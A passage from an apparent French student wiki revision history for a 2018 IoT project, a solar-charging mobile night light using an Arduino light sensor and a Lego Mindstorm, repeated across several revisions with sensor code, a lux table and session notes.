int sensorPin = A0; // select the input pin for the potentiometer

float rawRange = 1024; // 3.3v
float logRange = 5.0; // 3.3v = 10^5 lux

void setup()
{
analogReference(EXTERNAL); //
Serial.begin(9600);
Serial.println("Adafruit Analog Light Sensor Test");
}

void loop()
{
// read the raw value from the sensor:
int rawValue = analogRead(sensorPin);

Serial.print("Raw = ");
Serial.print(rawValue);
Serial.print(" - Lux = ");
Serial.println(RawToLux(rawValue));
delay(1000);
}

float RawToLux(int raw)
{
float logLux = raw * logRange / rawRange;
return pow(10, logLux);
}

</pre>

Voici un tableau avec nombreuses exemples de valeurs de retour et leurs équivalence:

{| class="wikitable alternance centre"
|-
! scope="row" | Illuminance
| Example
|-
! scope="row" | 0.002 lux
| Moonless clear night sky
|-
! scope="row" | 0.27 - 1 lux
| Full moon on a clear night
|-
! scope="row" | 3.4 lux
| Dark limit of civil twilight under a clear sky
|-
! scope="row" | 50 lux
| Family living room
|-
! scope="row" | 80 lux
| Hallway/toilet
|-
! scope="row" | 100 lux
| Very dark overcast day
|-
! scope="row" | 300 - 500 lux
| Sunrise or sunset on a clear day. Well-lit office area
|-
! scope="row" | 1,000 lux
| Overcast day; typical TV studio lighting
|-
! scope="row" | 10,000 - 25,000 lux
| Full daylight (not direct sun)
|-
! scope="row" | 32,000 - 130,000 lux
| Direct sunlight
|-
|}

https://learn.adafruit.com/adafruit-ga1a12s202-log-scale-analog-light-sensor/use-it

http://www.instructables.com/id/Solar-Battery-Charging/

==Détail du travail de la deuxième séance==

Durant cette séance nous avons dans un premier temps adapté le code pour nos besoins. En attendant un module Bluetooth pour pouvoir communiquer entre l'Arduino et le Mindstorm, nous avons écrit un code qui enregistrera la valeur maximale de luminosité lors de son lancement, ensuite d'attendre 3 secondes (cette période symbolise la recherche initiale de valeur maximale de luminosité) ensuite nous avons la variable keepMoving qui restera vrai, pour dire que la plateforme continue à changer de position, tant que la valeur maximale n'est pas trouvé (avec une marge bien-sur pour tenir compte de toute incertitude de mesure).

<pre>

int sensorPin = A0, rawValue, maxValue=0, marge = 50;
boolean firstSearch = false, searchAgain = false, keepMoving;

void setup()
{
analogReference(EXTERNAL);
Serial.begin(9600);
}

void loop()
{
while (firstSearch == false || searchAgain == true)
{
rawValue = analogRead(sensorPin);
if (rawValue > maxValue)
{
maxValue = rawValue;
}
searchAgain = false, firstSearch = true;
}

Serial.println("PAUSE");
//3seconds
delay(3000);
Serial.println("WERE BACK");

do
{
rawValue = analogRead(sensorPin);
if (rawValue < maxValue - marge)
{
keepMoving = true;
}
else
{
keepMoving = false;
}
Serial.println(keepMoving);
} while (keepMoving == true);

//delay(6000);
searchAgain = true;
}

</pre>

Dans un second temps nous avons commencé à prendre en main le Mindstorm ainsi que son logiciel de programmation pour comprendre son fonctionnement et comment s'en servir par la suite.

==Détail du travail de la troisième séance==
http://www.raspberry-projects.com/pi/pi-operating-systems/raspbian/bluetooth/bluetooth-commands

https://www.npmjs.com/package/bluetoothctl

https://lifehacker.com/everything-you-need-to-set-up-bluetooth-on-the-raspberr-1768482065

https://peip-ima.plil.fr/mediawiki/index.php/BE_2017-2018

En parallèle de la programmation, il a fallu concevoir le circuit permettant de faire la liaison entre panneau solaire et la batterie, à la fin de la séance, il a donc été décidé de reprendre nous même le circuit qui allait jouer ce rôle.

==Détail du travail de la quatrième séance==
Réalisation carte.

<gallery widths="500px" heights="600px">
Fichier:carte_veilleuse.png|Photo 1 : Circuit qui a été réalisé durant la séance
Fichier:circuit_veilleuse.png|Photo 2 : Circuit à réaliser
</gallery>

Le but était donc de réaliser le même circuit que l'on peut voir sur la deuxième photo et c'est ce qui a été réalisé comme on peut le voir sur la première photo.

==Détail du travail de la cinquième séance==
Encore des essaies bluetooth et code mindstorm indépendant et impression du circuit.
[[Fichier:Mindstorm_code.jpg|800px|center|Code Mindstorm]]

==Détail du travail de la sixième séance==

=Rendu=

==Poster==
Version électronique du poster :
[[Fichier:2017_IOT_P4_poster.png|center|500px]]

==Fichiers rendus==

Notre application : [[Media:2017_IOT_P0_application.zip]]

P4 IOT 2017

2018-01-23T23:24:17Z

Bhagui : /* Détail du travail de la cinquième séance */

=Présentation du sujet =

Nous avons choisi de réaliser une veilleuse mobile, une veilleuse qui cherchera le meilleur emplacement dans une pièce ( dans une ligne droite entre deux murs ou deux obstacles par exemple) pour recharger sa batterie grâce à un panneau solaire.

==Contexte==

Ce projet est réalisé dans le cadre du module transversale IOT (Internet of Things).

==Description du projet==

Nous allons utiliser un Mindstorm pour la plateforme mobile sur laquelle sera monté un ou plusieurs panneaux photovoltaïques. Aussi, ce dernier sera équipé d'un capteur de lumière car le but étant d'abord de déterminer l'endroit le plus lumineux disponible. Après avoir déterminé cet endroit, l'appareil sera capable à l'aide des panneaux photovoltaïque et une batterie rechargeable d'alimenter une veilleuse (une LED dans un premier temps).

=Réalisation=

==Matériel utilisé==

* Mindstorm
* Panneau photovoltaïque
* Capteur de lumière
* Arduino Uno

==Suivi de réalisation==
{| class="wikitable alternance centre"
|-
! scope="row" | Séance 1 (08/01/2018)
| Formation des groupes, chercher un sujet et faire valider ce-dernier.
|-
! scope="row" | Séance 2 (09/01/2018)
| Code d'utilisation du capteur lumière et initiation au Mindstorm.
|-
! scope="row" | Séance 3 (16/01/2018)
| Utilisation de Fritzing pour réaliser le circuit reliant le panneau photovoltaïque à la batterie
|-
! scope="row" | Séance 4 (17/01/2018)
| Finition du circuit sur Fritzing
|-
! scope="row" | Séance 5 (22/01/2018)
| Impression du circuit
|-
! scope="row" | Séance 6 (24/01/2018)
| Soutenance et présentation de notre projet au reste du groupe de module
|}

==Détail du travail de la première séance==

Durant cette première séance nous avons pu tester et étudier les valeurs de retour du capteur de luminosité et réfléchir à comment modifier le code pour réaliser notre projet. Vous trouverez ci-dessous le code utilisé pour tester le capteur:

<pre>

int sensorPin = A0; // select the input pin for the potentiometer

float rawRange = 1024; // 3.3v
float logRange = 5.0; // 3.3v = 10^5 lux

void setup()
{
analogReference(EXTERNAL); //
Serial.begin(9600);
Serial.println("Adafruit Analog Light Sensor Test");
}

void loop()
{
// read the raw value from the sensor:
int rawValue = analogRead(sensorPin);

Serial.print("Raw = ");
Serial.print(rawValue);
Serial.print(" - Lux = ");
Serial.println(RawToLux(rawValue));
delay(1000);
}

float RawToLux(int raw)
{
float logLux = raw * logRange / rawRange;
return pow(10, logLux);
}

</pre>

Voici un tableau avec nombreuses exemples de valeurs de retour et leurs équivalence:

{| class="wikitable alternance centre"
|-
! scope="row" | Illuminance
| Example
|-
! scope="row" | 0.002 lux
| Moonless clear night sky
|-
! scope="row" | 0.27 - 1 lux
| Full moon on a clear night
|-
! scope="row" | 3.4 lux
| Dark limit of civil twilight under a clear sky
|-
! scope="row" | 50 lux
| Family living room
|-
! scope="row" | 80 lux
| Hallway/toilet
|-
! scope="row" | 100 lux
| Very dark overcast day
|-
! scope="row" | 300 - 500 lux
| Sunrise or sunset on a clear day. Well-lit office area
|-
! scope="row" | 1,000 lux
| Overcast day; typical TV studio lighting
|-
! scope="row" | 10,000 - 25,000 lux
| Full daylight (not direct sun)
|-
! scope="row" | 32,000 - 130,000 lux
| Direct sunlight
|-
|}

https://learn.adafruit.com/adafruit-ga1a12s202-log-scale-analog-light-sensor/use-it

http://www.instructables.com/id/Solar-Battery-Charging/

==Détail du travail de la deuxième séance==

Durant cette séance nous avons dans un premier temps adapté le code pour nos besoins. En attendant un module Bluetooth pour pouvoir communiquer entre l'Arduino et le Mindstorm, nous avons écrit un code qui enregistrera la valeur maximale de luminosité lors de son lancement, ensuite d'attendre 3 secondes (cette période symbolise la recherche initiale de valeur maximale de luminosité) ensuite nous avons la variable keepMoving qui restera vrai, pour dire que la plateforme continue à changer de position, tant que la valeur maximale n'est pas trouvé (avec une marge bien-sur pour tenir compte de toute incertitude de mesure).

<pre>

int sensorPin = A0, rawValue, maxValue=0, marge = 50;
boolean firstSearch = false, searchAgain = false, keepMoving;

void setup()
{
analogReference(EXTERNAL);
Serial.begin(9600);
}

void loop()
{
while (firstSearch == false || searchAgain == true)
{
rawValue = analogRead(sensorPin);
if (rawValue > maxValue)
{
maxValue = rawValue;
}
searchAgain = false, firstSearch = true;
}

Serial.println("PAUSE");
//3seconds
delay(3000);
Serial.println("WERE BACK");

do
{
rawValue = analogRead(sensorPin);
if (rawValue < maxValue - marge)
{
keepMoving = true;
}
else
{
keepMoving = false;
}
Serial.println(keepMoving);
} while (keepMoving == true);

//delay(6000);
searchAgain = true;
}

</pre>

Dans un second temps nous avons commencé à prendre en main le Mindstorm ainsi que son logiciel de programmation pour comprendre son fonctionnement et comment s'en servir par la suite.

==Détail du travail de la troisième séance==
http://www.raspberry-projects.com/pi/pi-operating-systems/raspbian/bluetooth/bluetooth-commands

https://www.npmjs.com/package/bluetoothctl

https://lifehacker.com/everything-you-need-to-set-up-bluetooth-on-the-raspberr-1768482065

https://peip-ima.plil.fr/mediawiki/index.php/BE_2017-2018

En parallèle de la programmation, il a fallu concevoir le circuit permettant de faire la liaison entre panneau solaire et la batterie, à la fin de la séance, il a donc été décidé de reprendre nous même le circuit qui allait jouer ce rôle.

==Détail du travail de la quatrième séance==
Réalisation carte.

<gallery widths="500px" heights="600px">
Fichier:carte_veilleuse.png|Photo 1 : Circuit qui a été réalisé durant la séance
Fichier:circuit_veilleuse.png|Photo 2 : Circuit à réaliser
</gallery>

Le but était donc de réaliser le même circuit que l'on peut voir sur la deuxième photo et c'est ce qui a été réalisé comme on peut le voir sur la première photo.

==Détail du travail de la cinquième séance==
Encore des essaies bluetooth et code mindstorm indépendant et impression du circuit.
[[Fichier:Mindstorm_code.jpg|800px|center|Code Mindstorm]]

==Détail du travail de la sixième séance==

=Rendu=

==Poster==
Version électronique du poster :
[[Fichier:2017_IOT_P4_poster.png|center|500px]]

==Fichiers rendus==

Notre application : [[Media:2017_IOT_P0_application.zip]]

P4 IOT 2017

2018-01-23T23:23:56Z

Bhagui : /* Détail du travail de la cinquième séance */

=Présentation du sujet =

Nous avons choisi de réaliser une veilleuse mobile, une veilleuse qui cherchera le meilleur emplacement dans une pièce ( dans une ligne droite entre deux murs ou deux obstacles par exemple) pour recharger sa batterie grâce à un panneau solaire.

==Contexte==

Ce projet est réalisé dans le cadre du module transversale IOT (Internet of Things).

==Description du projet==

Nous allons utiliser un Mindstorm pour la plateforme mobile sur laquelle sera monté un ou plusieurs panneaux photovoltaïques. Aussi, ce dernier sera équipé d'un capteur de lumière car le but étant d'abord de déterminer l'endroit le plus lumineux disponible. Après avoir déterminé cet endroit, l'appareil sera capable à l'aide des panneaux photovoltaïque et une batterie rechargeable d'alimenter une veilleuse (une LED dans un premier temps).

=Réalisation=

==Matériel utilisé==

* Mindstorm
* Panneau photovoltaïque
* Capteur de lumière
* Arduino Uno

==Suivi de réalisation==
{| class="wikitable alternance centre"
|-
! scope="row" | Séance 1 (08/01/2018)
| Formation des groupes, chercher un sujet et faire valider ce-dernier.
|-
! scope="row" | Séance 2 (09/01/2018)
| Code d'utilisation du capteur lumière et initiation au Mindstorm.
|-
! scope="row" | Séance 3 (16/01/2018)
| Utilisation de Fritzing pour réaliser le circuit reliant le panneau photovoltaïque à la batterie
|-
! scope="row" | Séance 4 (17/01/2018)
| Finition du circuit sur Fritzing
|-
! scope="row" | Séance 5 (22/01/2018)
| Impression du circuit
|-
! scope="row" | Séance 6 (24/01/2018)
| Soutenance et présentation de notre projet au reste du groupe de module
|}

==Détail du travail de la première séance==

Durant cette première séance nous avons pu tester et étudier les valeurs de retour du capteur de luminosité et réfléchir à comment modifier le code pour réaliser notre projet. Vous trouverez ci-dessous le code utilisé pour tester le capteur:

<pre>

int sensorPin = A0; // select the input pin for the potentiometer

float rawRange = 1024; // 3.3v
float logRange = 5.0; // 3.3v = 10^5 lux

void setup()
{
analogReference(EXTERNAL); //
Serial.begin(9600);
Serial.println("Adafruit Analog Light Sensor Test");
}

void loop()
{
// read the raw value from the sensor:
int rawValue = analogRead(sensorPin);

Serial.print("Raw = ");
Serial.print(rawValue);
Serial.print(" - Lux = ");
Serial.println(RawToLux(rawValue));
delay(1000);
}

float RawToLux(int raw)
{
float logLux = raw * logRange / rawRange;
return pow(10, logLux);
}

</pre>

Voici un tableau avec nombreuses exemples de valeurs de retour et leurs équivalence:

{| class="wikitable alternance centre"
|-
! scope="row" | Illuminance
| Example
|-
! scope="row" | 0.002 lux
| Moonless clear night sky
|-
! scope="row" | 0.27 - 1 lux
| Full moon on a clear night
|-
! scope="row" | 3.4 lux
| Dark limit of civil twilight under a clear sky
|-
! scope="row" | 50 lux
| Family living room
|-
! scope="row" | 80 lux
| Hallway/toilet
|-
! scope="row" | 100 lux
| Very dark overcast day
|-
! scope="row" | 300 - 500 lux
| Sunrise or sunset on a clear day. Well-lit office area
|-
! scope="row" | 1,000 lux
| Overcast day; typical TV studio lighting
|-
! scope="row" | 10,000 - 25,000 lux
| Full daylight (not direct sun)
|-
! scope="row" | 32,000 - 130,000 lux
| Direct sunlight
|-
|}

https://learn.adafruit.com/adafruit-ga1a12s202-log-scale-analog-light-sensor/use-it

http://www.instructables.com/id/Solar-Battery-Charging/

==Détail du travail de la deuxième séance==

Durant cette séance nous avons dans un premier temps adapté le code pour nos besoins. En attendant un module Bluetooth pour pouvoir communiquer entre l'Arduino et le Mindstorm, nous avons écrit un code qui enregistrera la valeur maximale de luminosité lors de son lancement, ensuite d'attendre 3 secondes (cette période symbolise la recherche initiale de valeur maximale de luminosité) ensuite nous avons la variable keepMoving qui restera vrai, pour dire que la plateforme continue à changer de position, tant que la valeur maximale n'est pas trouvé (avec une marge bien-sur pour tenir compte de toute incertitude de mesure).

<pre>

int sensorPin = A0, rawValue, maxValue=0, marge = 50;
boolean firstSearch = false, searchAgain = false, keepMoving;

void setup()
{
analogReference(EXTERNAL);
Serial.begin(9600);
}

void loop()
{
while (firstSearch == false || searchAgain == true)
{
rawValue = analogRead(sensorPin);
if (rawValue > maxValue)
{
maxValue = rawValue;
}
searchAgain = false, firstSearch = true;
}

Serial.println("PAUSE");
//3seconds
delay(3000);
Serial.println("WERE BACK");

do
{
rawValue = analogRead(sensorPin);
if (rawValue < maxValue - marge)
{
keepMoving = true;
}
else
{
keepMoving = false;
}
Serial.println(keepMoving);
} while (keepMoving == true);

//delay(6000);
searchAgain = true;
}

</pre>

Dans un second temps nous avons commencé à prendre en main le Mindstorm ainsi que son logiciel de programmation pour comprendre son fonctionnement et comment s'en servir par la suite.

==Détail du travail de la troisième séance==
http://www.raspberry-projects.com/pi/pi-operating-systems/raspbian/bluetooth/bluetooth-commands

https://www.npmjs.com/package/bluetoothctl

https://lifehacker.com/everything-you-need-to-set-up-bluetooth-on-the-raspberr-1768482065

https://peip-ima.plil.fr/mediawiki/index.php/BE_2017-2018

En parallèle de la programmation, il a fallu concevoir le circuit permettant de faire la liaison entre panneau solaire et la batterie, à la fin de la séance, il a donc été décidé de reprendre nous même le circuit qui allait jouer ce rôle.

==Détail du travail de la quatrième séance==
Réalisation carte.

<gallery widths="500px" heights="600px">
Fichier:carte_veilleuse.png|Photo 1 : Circuit qui a été réalisé durant la séance
Fichier:circuit_veilleuse.png|Photo 2 : Circuit à réaliser
</gallery>

Le but était donc de réaliser le même circuit que l'on peut voir sur la deuxième photo et c'est ce qui a été réalisé comme on peut le voir sur la première photo.

==Détail du travail de la cinquième séance==
Encore des essaies bluetooth et code mindstorm indépendant et impression du circuit.

<gallery widths="500px" heights="600px">
Fichier:Mindstorm_code.jpg|Photo 3 : Code Mindstorm
</gallery>

==Détail du travail de la sixième séance==

=Rendu=

==Poster==
Version électronique du poster :
[[Fichier:2017_IOT_P4_poster.png|center|500px]]

==Fichiers rendus==

Notre application : [[Media:2017_IOT_P0_application.zip]]

P4 IOT 2017

2018-01-23T23:22:00Z

Bhagui : /* Détail du travail de la cinquième séance */

=Présentation du sujet =

Nous avons choisi de réaliser une veilleuse mobile, une veilleuse qui cherchera le meilleur emplacement dans une pièce ( dans une ligne droite entre deux murs ou deux obstacles par exemple) pour recharger sa batterie grâce à un panneau solaire.

==Contexte==

Ce projet est réalisé dans le cadre du module transversale IOT (Internet of Things).

==Description du projet==

Nous allons utiliser un Mindstorm pour la plateforme mobile sur laquelle sera monté un ou plusieurs panneaux photovoltaïques. Aussi, ce dernier sera équipé d'un capteur de lumière car le but étant d'abord de déterminer l'endroit le plus lumineux disponible. Après avoir déterminé cet endroit, l'appareil sera capable à l'aide des panneaux photovoltaïque et une batterie rechargeable d'alimenter une veilleuse (une LED dans un premier temps).

=Réalisation=

==Matériel utilisé==

* Mindstorm
* Panneau photovoltaïque
* Capteur de lumière
* Arduino Uno

==Suivi de réalisation==
{| class="wikitable alternance centre"
|-
! scope="row" | Séance 1 (08/01/2018)
| Formation des groupes, chercher un sujet et faire valider ce-dernier.
|-
! scope="row" | Séance 2 (09/01/2018)
| Code d'utilisation du capteur lumière et initiation au Mindstorm.
|-
! scope="row" | Séance 3 (16/01/2018)
| Utilisation de Fritzing pour réaliser le circuit reliant le panneau photovoltaïque à la batterie
|-
! scope="row" | Séance 4 (17/01/2018)
| Finition du circuit sur Fritzing
|-
! scope="row" | Séance 5 (22/01/2018)
| Impression du circuit
|-
! scope="row" | Séance 6 (24/01/2018)
| Soutenance et présentation de notre projet au reste du groupe de module
|}

==Détail du travail de la première séance==

Durant cette première séance nous avons pu tester et étudier les valeurs de retour du capteur de luminosité et réfléchir à comment modifier le code pour réaliser notre projet. Vous trouverez ci-dessous le code utilisé pour tester le capteur:

<pre>

int sensorPin = A0; // select the input pin for the potentiometer

float rawRange = 1024; // 3.3v
float logRange = 5.0; // 3.3v = 10^5 lux

void setup()
{
analogReference(EXTERNAL); //
Serial.begin(9600);
Serial.println("Adafruit Analog Light Sensor Test");
}

void loop()
{
// read the raw value from the sensor:
int rawValue = analogRead(sensorPin);

Serial.print("Raw = ");
Serial.print(rawValue);
Serial.print(" - Lux = ");
Serial.println(RawToLux(rawValue));
delay(1000);
}

float RawToLux(int raw)
{
float logLux = raw * logRange / rawRange;
return pow(10, logLux);
}

</pre>

Voici un tableau avec nombreuses exemples de valeurs de retour et leurs équivalence:

{| class="wikitable alternance centre"
|-
! scope="row" | Illuminance
| Example
|-
! scope="row" | 0.002 lux
| Moonless clear night sky
|-
! scope="row" | 0.27 - 1 lux
| Full moon on a clear night
|-
! scope="row" | 3.4 lux
| Dark limit of civil twilight under a clear sky
|-
! scope="row" | 50 lux
| Family living room
|-
! scope="row" | 80 lux
| Hallway/toilet
|-
! scope="row" | 100 lux
| Very dark overcast day
|-
! scope="row" | 300 - 500 lux
| Sunrise or sunset on a clear day. Well-lit office area
|-
! scope="row" | 1,000 lux
| Overcast day; typical TV studio lighting
|-
! scope="row" | 10,000 - 25,000 lux
| Full daylight (not direct sun)
|-
! scope="row" | 32,000 - 130,000 lux
| Direct sunlight
|-
|}

https://learn.adafruit.com/adafruit-ga1a12s202-log-scale-analog-light-sensor/use-it

http://www.instructables.com/id/Solar-Battery-Charging/

==Détail du travail de la deuxième séance==

Durant cette séance nous avons dans un premier temps adapté le code pour nos besoins. En attendant un module Bluetooth pour pouvoir communiquer entre l'Arduino et le Mindstorm, nous avons écrit un code qui enregistrera la valeur maximale de luminosité lors de son lancement, ensuite d'attendre 3 secondes (cette période symbolise la recherche initiale de valeur maximale de luminosité) ensuite nous avons la variable keepMoving qui restera vrai, pour dire que la plateforme continue à changer de position, tant que la valeur maximale n'est pas trouvé (avec une marge bien-sur pour tenir compte de toute incertitude de mesure).

<pre>

int sensorPin = A0, rawValue, maxValue=0, marge = 50;
boolean firstSearch = false, searchAgain = false, keepMoving;

void setup()
{
analogReference(EXTERNAL);
Serial.begin(9600);
}

void loop()
{
while (firstSearch == false || searchAgain == true)
{
rawValue = analogRead(sensorPin);
if (rawValue > maxValue)
{
maxValue = rawValue;
}
searchAgain = false, firstSearch = true;
}

Serial.println("PAUSE");
//3seconds
delay(3000);
Serial.println("WERE BACK");

do
{
rawValue = analogRead(sensorPin);
if (rawValue < maxValue - marge)
{
keepMoving = true;
}
else
{
keepMoving = false;
}
Serial.println(keepMoving);
} while (keepMoving == true);

//delay(6000);
searchAgain = true;
}

</pre>

Dans un second temps nous avons commencé à prendre en main le Mindstorm ainsi que son logiciel de programmation pour comprendre son fonctionnement et comment s'en servir par la suite.

==Détail du travail de la troisième séance==
http://www.raspberry-projects.com/pi/pi-operating-systems/raspbian/bluetooth/bluetooth-commands

https://www.npmjs.com/package/bluetoothctl

https://lifehacker.com/everything-you-need-to-set-up-bluetooth-on-the-raspberr-1768482065

https://peip-ima.plil.fr/mediawiki/index.php/BE_2017-2018

En parallèle de la programmation, il a fallu concevoir le circuit permettant de faire la liaison entre panneau solaire et la batterie, à la fin de la séance, il a donc été décidé de reprendre nous même le circuit qui allait jouer ce rôle.

==Détail du travail de la quatrième séance==
Réalisation carte.

<gallery widths="500px" heights="600px">
Fichier:carte_veilleuse.png|Photo 1 : Circuit qui a été réalisé durant la séance
Fichier:circuit_veilleuse.png|Photo 2 : Circuit à réaliser
</gallery>

Le but était donc de réaliser le même circuit que l'on peut voir sur la deuxième photo et c'est ce qui a été réalisé comme on peut le voir sur la première photo.

==Détail du travail de la cinquième séance==
Encore des essaies bluetooth et code mindstorm indépendant et impression du circuit.
[[Fichier:Mindstorm_code.jpg|800px|center|Code Mindstorm]]

==Détail du travail de la sixième séance==

=Rendu=

==Poster==
Version électronique du poster :
[[Fichier:2017_IOT_P4_poster.png|center|500px]]

==Fichiers rendus==

Notre application : [[Media:2017_IOT_P0_application.zip]]

P4 IOT 2017

2018-01-23T23:21:44Z

Bhagui : /* Détail du travail de la cinquième séance */

=Présentation du sujet =

Nous avons choisi de réaliser une veilleuse mobile, une veilleuse qui cherchera le meilleur emplacement dans une pièce ( dans une ligne droite entre deux murs ou deux obstacles par exemple) pour recharger sa batterie grâce à un panneau solaire.

==Contexte==

Ce projet est réalisé dans le cadre du module transversale IOT (Internet of Things).

==Description du projet==

Nous allons utiliser un Mindstorm pour la plateforme mobile sur laquelle sera monté un ou plusieurs panneaux photovoltaïques. Aussi, ce dernier sera équipé d'un capteur de lumière car le but étant d'abord de déterminer l'endroit le plus lumineux disponible. Après avoir déterminé cet endroit, l'appareil sera capable à l'aide des panneaux photovoltaïque et une batterie rechargeable d'alimenter une veilleuse (une LED dans un premier temps).

=Réalisation=

==Matériel utilisé==

* Mindstorm
* Panneau photovoltaïque
* Capteur de lumière
* Arduino Uno

==Suivi de réalisation==
{| class="wikitable alternance centre"
|-
! scope="row" | Séance 1 (08/01/2018)
| Formation des groupes, chercher un sujet et faire valider ce-dernier.
|-
! scope="row" | Séance 2 (09/01/2018)
| Code d'utilisation du capteur lumière et initiation au Mindstorm.
|-
! scope="row" | Séance 3 (16/01/2018)
| Utilisation de Fritzing pour réaliser le circuit reliant le panneau photovoltaïque à la batterie
|-
! scope="row" | Séance 4 (17/01/2018)
| Finition du circuit sur Fritzing
|-
! scope="row" | Séance 5 (22/01/2018)
| Impression du circuit
|-
! scope="row" | Séance 6 (24/01/2018)
| Soutenance et présentation de notre projet au reste du groupe de module
|}

==Détail du travail de la première séance==

Durant cette première séance nous avons pu tester et étudier les valeurs de retour du capteur de luminosité et réfléchir à comment modifier le code pour réaliser notre projet. Vous trouverez ci-dessous le code utilisé pour tester le capteur:

<pre>

int sensorPin = A0; // select the input pin for the potentiometer

float rawRange = 1024; // 3.3v
float logRange = 5.0; // 3.3v = 10^5 lux

void setup()
{
analogReference(EXTERNAL); //
Serial.begin(9600);
Serial.println("Adafruit Analog Light Sensor Test");
}

void loop()
{
// read the raw value from the sensor:
int rawValue = analogRead(sensorPin);

Serial.print("Raw = ");
Serial.print(rawValue);
Serial.print(" - Lux = ");
Serial.println(RawToLux(rawValue));
delay(1000);
}

float RawToLux(int raw)
{
float logLux = raw * logRange / rawRange;
return pow(10, logLux);
}

</pre>

Voici un tableau avec nombreuses exemples de valeurs de retour et leurs équivalence:

{| class="wikitable alternance centre"
|-
! scope="row" | Illuminance
| Example
|-
! scope="row" | 0.002 lux
| Moonless clear night sky
|-
! scope="row" | 0.27 - 1 lux
| Full moon on a clear night
|-
! scope="row" | 3.4 lux
| Dark limit of civil twilight under a clear sky
|-
! scope="row" | 50 lux
| Family living room
|-
! scope="row" | 80 lux
| Hallway/toilet
|-
! scope="row" | 100 lux
| Very dark overcast day
|-
! scope="row" | 300 - 500 lux
| Sunrise or sunset on a clear day. Well-lit office area
|-
! scope="row" | 1,000 lux
| Overcast day; typical TV studio lighting
|-
! scope="row" | 10,000 - 25,000 lux
| Full daylight (not direct sun)
|-
! scope="row" | 32,000 - 130,000 lux
| Direct sunlight
|-
|}

https://learn.adafruit.com/adafruit-ga1a12s202-log-scale-analog-light-sensor/use-it

http://www.instructables.com/id/Solar-Battery-Charging/

==Détail du travail de la deuxième séance==

Durant cette séance nous avons dans un premier temps adapté le code pour nos besoins. En attendant un module Bluetooth pour pouvoir communiquer entre l'Arduino et le Mindstorm, nous avons écrit un code qui enregistrera la valeur maximale de luminosité lors de son lancement, ensuite d'attendre 3 secondes (cette période symbolise la recherche initiale de valeur maximale de luminosité) ensuite nous avons la variable keepMoving qui restera vrai, pour dire que la plateforme continue à changer de position, tant que la valeur maximale n'est pas trouvé (avec une marge bien-sur pour tenir compte de toute incertitude de mesure).

<pre>

int sensorPin = A0, rawValue, maxValue=0, marge = 50;
boolean firstSearch = false, searchAgain = false, keepMoving;

void setup()
{
analogReference(EXTERNAL);
Serial.begin(9600);
}

void loop()
{
while (firstSearch == false || searchAgain == true)
{
rawValue = analogRead(sensorPin);
if (rawValue > maxValue)
{
maxValue = rawValue;
}
searchAgain = false, firstSearch = true;
}

Serial.println("PAUSE");
//3seconds
delay(3000);
Serial.println("WERE BACK");

do
{
rawValue = analogRead(sensorPin);
if (rawValue < maxValue - marge)
{
keepMoving = true;
}
else
{
keepMoving = false;
}
Serial.println(keepMoving);
} while (keepMoving == true);

//delay(6000);
searchAgain = true;
}

</pre>

Dans un second temps nous avons commencé à prendre en main le Mindstorm ainsi que son logiciel de programmation pour comprendre son fonctionnement et comment s'en servir par la suite.

==Détail du travail de la troisième séance==
http://www.raspberry-projects.com/pi/pi-operating-systems/raspbian/bluetooth/bluetooth-commands

https://www.npmjs.com/package/bluetoothctl

https://lifehacker.com/everything-you-need-to-set-up-bluetooth-on-the-raspberr-1768482065

https://peip-ima.plil.fr/mediawiki/index.php/BE_2017-2018

En parallèle de la programmation, il a fallu concevoir le circuit permettant de faire la liaison entre panneau solaire et la batterie, à la fin de la séance, il a donc été décidé de reprendre nous même le circuit qui allait jouer ce rôle.

==Détail du travail de la quatrième séance==
Réalisation carte.

<gallery widths="500px" heights="600px">
Fichier:carte_veilleuse.png|Photo 1 : Circuit qui a été réalisé durant la séance
Fichier:circuit_veilleuse.png|Photo 2 : Circuit à réaliser
</gallery>

Le but était donc de réaliser le même circuit que l'on peut voir sur la deuxième photo et c'est ce qui a été réalisé comme on peut le voir sur la première photo.

==Détail du travail de la cinquième séance==
Encore des essaies bluetooth et code mindstorm indépendant et impression du circuit.
[[Fichier:Mindstorm_code.jpg|600px|center|Code Mindstorm]]

==Détail du travail de la sixième séance==

=Rendu=

==Poster==
Version électronique du poster :
[[Fichier:2017_IOT_P4_poster.png|center|500px]]

==Fichiers rendus==

Notre application : [[Media:2017_IOT_P0_application.zip]]

P4 IOT 2017

2018-01-23T23:21:07Z

Bhagui : /* Détail du travail de la cinquième séance */

=Présentation du sujet =

Nous avons choisi de réaliser une veilleuse mobile, une veilleuse qui cherchera le meilleur emplacement dans une pièce ( dans une ligne droite entre deux murs ou deux obstacles par exemple) pour recharger sa batterie grâce à un panneau solaire.

==Contexte==

Ce projet est réalisé dans le cadre du module transversale IOT (Internet of Things).

==Description du projet==

Nous allons utiliser un Mindstorm pour la plateforme mobile sur laquelle sera monté un ou plusieurs panneaux photovoltaïques. Aussi, ce dernier sera équipé d'un capteur de lumière car le but étant d'abord de déterminer l'endroit le plus lumineux disponible. Après avoir déterminé cet endroit, l'appareil sera capable à l'aide des panneaux photovoltaïque et une batterie rechargeable d'alimenter une veilleuse (une LED dans un premier temps).

=Réalisation=

==Matériel utilisé==

* Mindstorm
* Panneau photovoltaïque
* Capteur de lumière
* Arduino Uno

==Suivi de réalisation==
{| class="wikitable alternance centre"
|-
! scope="row" | Séance 1 (08/01/2018)
| Formation des groupes, chercher un sujet et faire valider ce-dernier.
|-
! scope="row" | Séance 2 (09/01/2018)
| Code d'utilisation du capteur lumière et initiation au Mindstorm.
|-
! scope="row" | Séance 3 (16/01/2018)
| Utilisation de Fritzing pour réaliser le circuit reliant le panneau photovoltaïque à la batterie
|-
! scope="row" | Séance 4 (17/01/2018)
| Finition du circuit sur Fritzing
|-
! scope="row" | Séance 5 (22/01/2018)
| Impression du circuit
|-
! scope="row" | Séance 6 (24/01/2018)
| Soutenance et présentation de notre projet au reste du groupe de module
|}

==Détail du travail de la première séance==

Durant cette première séance nous avons pu tester et étudier les valeurs de retour du capteur de luminosité et réfléchir à comment modifier le code pour réaliser notre projet. Vous trouverez ci-dessous le code utilisé pour tester le capteur:

<pre>

int sensorPin = A0; // select the input pin for the potentiometer

float rawRange = 1024; // 3.3v
float logRange = 5.0; // 3.3v = 10^5 lux

void setup()
{
analogReference(EXTERNAL); //
Serial.begin(9600);
Serial.println("Adafruit Analog Light Sensor Test");
}

void loop()
{
// read the raw value from the sensor:
int rawValue = analogRead(sensorPin);

Serial.print("Raw = ");
Serial.print(rawValue);
Serial.print(" - Lux = ");
Serial.println(RawToLux(rawValue));
delay(1000);
}

float RawToLux(int raw)
{
float logLux = raw * logRange / rawRange;
return pow(10, logLux);
}

</pre>

